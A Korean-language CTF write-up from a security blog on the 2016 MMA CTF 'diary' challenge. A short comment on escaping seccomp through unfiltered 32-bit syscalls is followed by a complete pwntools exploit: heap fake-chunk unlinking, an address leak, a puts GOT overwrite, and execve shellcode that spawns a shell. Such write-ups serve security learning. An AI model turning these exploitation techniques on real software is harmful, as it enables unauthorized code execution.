cdor1's lab
2016 MMA CTF diary 본문
후기: 두번째 일기장 문제다.
첫번째 일기장보단 바이너리가 작고 가벼웠지만 난이도는 훨씬 어려웠던것 같다.... seccomp 샌드박스 우회라니..
32비트 syscall을 필터링 하지 않아서 ./bash를 실행하는 쉘코드를 pwntools로 만들어 사용했다.
from pwn import *
s = remote('localhost', 4000)
def register(date, size, content):
print s.recvuntil('>> ')
s.sendline('1')
print s.recvuntil('... ')
s.sendline(date)
print s.recvuntil('... ')
s.sendline(str(size))
print s.recvuntil('>> ')
s.sendline(content)
def show(date):
print s.recvuntil('>> ')
s.sendline('2')
print s.recvuntil('... ')
s.sendline(date)
def delete(date):
print s.recvuntil('>> ')
s.sendline('3')
print s.recvuntil('... ')
s.sendline(date)
shellcode = asm(shellcraft.i386.linux.execve('./bash'), arch='x86')
puts_got = 0x602020
register('1970/01/01', 128, 'A'*4)
register('1970/01/02', 128, 'B'*64)
delete('1970/01/01')
fake = 'A'*80
fake += p64(0xd0)
fake += p64(0x602128)
fake += p64(0x602128)
fake += 'A'*16
fake += p64(0x30)
fake += p64(0x28)
register('1970/01/01', 128, fake)
delete('1970/01/02')
register('1970/01/03', 128, 'A'*16)
print s.recvuntil('A'*16)
mmap = u64(s.recvuntil('\n')[:-1] + '\x00\x00') - 0xe0
shellcode_addr = mmap + 0x170
fake2 = p64(shellcode_addr)
fake2 += p64(puts_got - 8)
fake2 += shellcode
fake2 += 'A'*(256-len(fake2))
register("2016/01/01", 256, "C"*256)
register("2016/01/01", 256, "D"*256)
delete('2016/01/01')
register('2016/01/01', 256, fake2)
delete('2016/01/01')
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
Belluminar 2016 remuheap (0) | 2017.01.08 |
---|---|
HITCON 2016 SleepyHolder (0) | 2017.01.08 |
HolyShield diary (1) | 2017.01.06 |
BoBCTF - megabox (0) | 2017.01.05 |
Christmasctf2016 - House of Daehee (0) | 2017.01.04 |
Comments